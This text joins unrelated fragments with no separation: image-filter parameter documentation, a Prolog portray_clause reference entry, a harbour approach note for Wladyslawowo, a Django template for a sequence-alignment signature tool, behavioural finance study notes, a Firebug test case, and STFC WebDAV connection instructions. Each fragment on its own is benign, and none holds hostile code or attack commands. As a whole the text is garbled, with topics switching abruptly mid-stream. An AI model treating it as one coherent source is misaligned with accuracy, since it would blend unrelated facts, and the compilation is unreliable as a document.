FilterID: see Filters.
(No ID) Non-Filters
(ID 0) Edgemap
(ID 1) Fry
(ID 2) Desaturate
(ID 3) Primarize
(ID 4) Fry (but a previous broken version)
(ID 5) Square
(ID 6) Tint (Lightness)
(ID 7) Tint (Subtractive)
(ID 8) Tint (Multiplicative)
(ID 9) Noise (RGBA)
(ID 10) Lo/Hi Pass
(ID 11) Alpha to Lightness
(ID 12) Lightness to Alpha
(ID 13) Negate
(ID 14) Setchannel
(ID 15) Saturate
(ID 16) Nothing
(ID 17) Chromakey
Highlights the edges on an image
Possible IDs:
Parameters:
Use the image's original colors
(Default 1) The number of pixels to search to consider a pixel an 'edge'. Typically makes lines thicker.
(Default 30) Defines how much a pixel's channels must change for it to be considered an edge.
(Default 1) Defines how to treat the alpha channel of the image.
(Default 1) Multiplies the alpha channel by this amount. This number can have a decimal.
(Default 0) Adds or subtracts (if the value is negative) this number from the alpha channel. This is processed AFTER multiplication, and if the alpha value is 0, nothing will be added.
(Default FFFFFF) A six-digit hex number (without the hex specifier) that defines the color of the edgemap (if -hue isn't specified), in RGB format. For example, FF0000 is red.
Distorts an image's colors by multiplying channel values' offsets from 128 by a given number.
Possible IDs
Parameters
(Default 5) The factor to multiply the channels by. Higher numbers do not necessarily mean more distortion (diminishing returns)
Removes color from an image.
Possible IDs:
Parameters:
Changes the color of a pixel to its highest channel. (Does nothing if two or more channels are the same).
Possible IDs:
No parameters
Literally identical to fry, but it reverses the red and blue channels.
Possible IDs:
Parameters
(Default 5) The factor to multiply the channels by. Higher numbers do not necessarily mean more distortion (diminishing returns)
Squares the value of each pixel's channel (excluding alpha ;3)
Possible IDs:
No parameters
Finds each pixel's lightness (R+G+B / 3) and then sets each channel to its supplied value * the lightness percent
Possible IDs:
Parameters
(Default FFFFFF) The hex color value (RRGGBB format, no hex specifier) to tint with.
Sets the max value of a channel by subtracting the complement of the supplied value
Possible IDs:
Parameters
(Default FFFFFF) The hex color value (RRGGBB format, no hex specifier) to adjust with.
Sets the max value of a channel by multiplying the ratio of the channel and the new values
Possible IDs:
Parameters
(Default FFFFFF) The hex color value (RRGGBB format, no hex specifier) to adjust with.
Generates a noisemap
Possible IDs:
Parameters
Defines the width of the image.
Defines the height of the image.
Currently unfinished, do not use.
Possible IDs:
No Parameters
Converts the alpha channel into lightness
Possible IDs:
No Parameters
Rewrites the alpha channel based on pixel lightness
Possible IDs:
No Parameters
Negates the value of a channel
Possible IDs:
Parameters:
A combination of 'r', 'g', 'b', and 'a' defining which channels to negate.
Sets the value of a channel
Possible IDs:
Parameters:
The value to set for the specified channel
Saturates an image
Possible IDs:
Parameters:
A value, ranging from 0 to 1, that describes the saturation. 0 is completely desaturated, 1 is completely saturated.
A value that determines the mode to use:
Only used to debug issues with akaip recieving images, not really useful.
Possible IDs:
No parameters.
Cuts out a certain color from an image
Possible IDs:
Parameters:
A hex color, in RRGGBB format, that describes the color to remove
The amount each pixel can differ from the key color and still be selected.
The mode used to set the alpha:
Defines how much to reduce the selected pixels' alpha by. To completely cut out keyed pixels, use 255.


portray_clause/[1,2]
portray_clause(
+Clause)
portray_clause(
+Stream,
+Clause)
Writes Clause to the current output stream. Used by
listing/[0,1]
.
A valid open Prolog stream, defaults to the current output stream.
The operation used by listing/[0,1]
. Clause is written
to Stream, in exactly the format in which listing/[0,1]
would have written it, including a terminating full-stop.
If you want to print a clause, this is almost certainly the
command you want. By design, none of the other term output
commands puts a full-stop after the written term.
If you are writing a file of facts to be loaded by
the Load Predicates, use portray_clause/[1,2]
, which attempts
to ensure that the clauses it writes out can be read in again as clauses.
The output format used by portray_clause/[1,2]
and listing/[0,1]
has
been carefully designed to be clear. We recommend that you use a
similar style. In particular, never put a semicolon
(disjunction symbol) at the end of a line in Prolog.
Stream errors (see ref-iou-sfh-est).
| ?- portray_clause((X:- a -> b ; c)). _ :- ( a -> b ; c ).
| ?- portray_clause((X:- a -> (b -> c ; d ; e); f)). _ :- ( a -> ( b -> c ; d ; e ) ; f ).
| ?- portray_clause((a:-b)). a :- b.
| ?- portray_clause((a:-b,c)). a :- b, c.
| ?- portray_clause((a:-(b,!,c))). a :- b, !, c.
listing/[0,1]
, ref-iou-tou.


Wladyslawowo lies at the root of the long thin peninsular extending eastwards from the western shore of the Gulf of Gdansk. It is approx 40NM north of Gdansk. It is mainly a fishing port, but is also a popular summer tourist resort.
Position 54° 47'44"N, 18° 25'29"E (harbour entrance)
Not a very exciting town, but a useful stopping point with good shelter.
Warning - because of sand banks the whole area becomes dangerous in strong onshore winds. Entrance in wind Force 5 especially from N to E is dangerous. The depth in the area is continuously variable. Use of an echo sounder is strongly recomended.
Approaches - From the "WLA" buoy (RW Lfl.10s) steer course 260° from the leading marks (lit). No 1 marker is on the Eastern Mole (150m from its head) No 2 is the distictive, tall spire/tower of Dom Rybaka. Once you are in line with the Northern mole turn to port and continue in the middle of the approach channel. Entrance is 60m wide with minimum depth of 5m.
Mooring - the marina is located inside the fishing harbour. The Port is divided into 3 basins, outer inner and shipyard. Yachts moor up to Pontoons in the Western corner of the inner harbour or to the Northern harbour wall in the outer harbour.


| Classification ?Two types of signature characters are distinguished: (1) binary: the character states of the reference group are uniform but different from the character state in the query group; (2) asymmetric (individual and combined): the character states of the reference group are not uniform but different from the character state in the query group. Noisy characters comprise at least one character state in the reference group which is identical to the uniform character state in the query group. |
Results
|
{% if ids %}
?Compressed file (*.zip) containing two tables in csv file format. Table 1 (entropy.csv) lists the entropy and moving average values for each alignment position. Table 2 (ranking.csv) provides a ranking of all alignment positions including the vector metrics (discriminative power, query rank, and reference rank) and the classification (binary, asymmetric, and noisy). 💾 Download Results
{% endif %}
↻ Restart Analysis
|
{% if error_message %}
{{error_message}}
{% endif %}
{% if error_message == None %}
Signature Bar?The signature bar displays the positions of binary, asymmetric and noisy characters in the alignment by color-coded bars and arrowheads. Mouse-over the arrowheads to show the character position and the character state of the query group.
Entropy Plot?The entropy is calculated based on the entire alignment. For the calculation of the moving average, a range of five positions is used. The y-axis represents the Shannon entropy value and the x-axis the alignment position (starting at 1).
Groups?Header list of taxa selected for the query and reference groups (numbers of sequences in brackets).
Alignment?Aligned sequences of the query and reference groups. Signature characters and noisy characters are color-coded (green: binary, orange: asymmetric, grey: noisy).
| . |
{% for obj in alignment_query %}
| {{ obj.seq }} |
{% endfor %}
|
{% for obj in alignment_reference %}
| {{ obj.seq }} |
{% endfor %}
Diagnostic Relevance Ranking?Ranking of alignment positions based on discriminative power, query rank, and reference rank. Positions relevant for taxon diagnoses are listed first and their uniform state (query group) or predominant state (reference group) displayed next to their rank in brackets.
| Position |
d-power |
q-rank |
r-rank |
{% for obj in ranking %}
{% if obj.4 == 'binary' %}
| {{ obj.0 }} |
{{ obj.1|floatformat:2 }} |
{{ obj.2 }} |
{{ obj.3 }} |
{% elif obj.4 == 'asymmetric' %}
{{ obj.0 }} |
{{ obj.1|floatformat:2 }} |
{{ obj.2 }} |
{{ obj.3 }} |
{% elif obj.4 == 'noisy' %}
{{ obj.0 }} |
{{ obj.1|floatformat:2 }} |
{{ obj.2 }} |
{{ obj.3 }} |
{% else %}
{{ obj.0 }} |
{{ obj.1|floatformat:2 }} |
{{ obj.2 }} |
{{ obj.3 }} |
{% endif %}
{% endfor %}
{% endif %}
{% endblock %}


Barnewall Two-Way Model
- Passive investors - individuals who have become wealthy passively (e.g. inheritance, managers, etc.)
- Higher need for security and lower risk tolerance
- Active investors - individuals who have been actively involved in wealth creation (e.g. entrepreneurs)
- Higher risk tolerance and lower need for security
Five-Way Model
Diagnostic Process
- Interview the client and identify active or passive traits and risk tolerance
- Plot the investor on an active/passive and risk tolerance scale
- Test for behavioral biases
- Classify the investor into a behavioral type
- Passive preserver (PP)
- Friendly follower (FF)
- Independent Individualist (II)
- Active Accumulator (AA)
Limitations of Behavioral Typing
- Individuals may exhibit both forms of biases
- Individuals may exhibit characteristics of multiple behavioral types
- Individuals' behavior may change throughout the life-cycle
- Individuals within behavior types may require unique treatment (no one size fits all)
- Individuals may act irrationally and unpredictably regardless of type
Behavioral Factors and Portfolio Construction
- Intertia - tendency to not change asset allocations throughout time despite changing risk tolerances
- Naive diversification - "1/N" diversification strategy (i.e. allocating assets equally across categories)
- Investing in the familiar - tendency to invest in employer's stock
- Excessive trading - fees degrade returns
- Home bias - overweighting of domestic asset classes
Behavioral Factors and Analyst Forecasts/Research
- Overconfidence bias
- Self-attribution bias
- Representativeness bias
- Availability bias
- Illusion of control
- Hindsight bias
- Confirmation bias
- Gamblers' fallacty - incorrect prediction of a mean reversal
Behavioral Factors and Market Behavior
- Momentum
- Herding - occurs when many investors take the same side of a trade
- Regret aversion
- Disposition effect - the tendency to hold losers and sell winners
- Bubbles and crashes
- Value vs. growth stocks
- Halo effect - extrapolation of recent good results into the future


Issue 654: IP address included on a Net line entry
Steps to reproduce
- Open Firebug
- Enable and switch to the Net panel
- Reload the page
- Right-click the Net panel's header and check the Local IP entry
- Click the Make request button above
Expected result
-
Three requests should be displayed inside the Net panel, one for
issue654.html, one for testcase.css and one for
issue654.php.
- Both requests should have a remote IP and a local IP plus port.


|
This webpage explains how to connect to the file server and download the data for your experiment. Users must login using the email address and password which were used to register with the STFC Facilities User Office. In order to be able to transfer files larger than 50 MB in Windows you must follow the instructions in the section below. |
Note: this should be done before connecting to the WebDAV server using the instructions in the 'How to connect' section below.
How to increase the file size limit in WindowsThe batch script provided by the Scientific Computing Department at STFC and downloadable here will do this for you but needs to be run with administrator privileges. If you are unsure as to whether you have administrator privileges then you can still download and run the script and you will be able to tell from the error messages. Click on the link to the batch file above and save it (DON'T RUN IT YET). Go to the folder containing the the downloaded file 'registry_update.bat', right click on the file and select 'Run as administrator'. If you get 'Access is denied' errors in the Command Window then you do not have administrator privileges.
Contact your system administrator to have these privileges added. If this is not possible, then the connection to the file server will still work but you will get an error whenever you try to access files larger than 50 MB.
If you get messages in the Command Window reporting that the commands ran successfully, then the registry update has been done successfully. |
| A successful batch script run | Batch script failed - administrator privileges required | ||
|---|---|---|---|
Windows 7, 8.1 and 10With a 'Windows Explorer' file browser open right-click on 'Computer' (Windows 7) or 'This PC' (Windows 8.1 and Windows 10) or 'Network' in the left hand navigation pane then select 'Map network drive...' Insert $webdavUrl into the 'Folder' Click 'Connect using different credentials' Click 'Finish' Enter your login details into the login box
Click 'Remember my credentials' if you are logged into Windows using a personal account and want to connect to this file server again in the future. If the login is successful then you will see the top level folder as shown below. Navigate into this folder and you will see a folder for each instrument which you can then navigate through to find your data. |
|
You can browse the directory structure and open files as you normally would in Windows Explorer. You may be re-prompted to enter your login details when opening certain file types. Facility Users are not able to create, modify or delete any files or folders. |
|
If you would like to download files to your local machine, this is done in the usual way. You can either drag and drop files or folders into a local directory, or copy and paste in the usual way using either the keyboard or mouse. When downloading folders containing large amounts of data (particularly lots of small files) this can be a slow process. For example, an experiment containing around 10 GB of data may take a few hours to download depending on your internet connection speed. You can get an idea of how long a download might take by right clicking on the file or folder and selecting 'Properties'. Be aware that whilst the progress bar in the copy dialog box is often quite accurate, the estimate of remaining time is often very wrong! |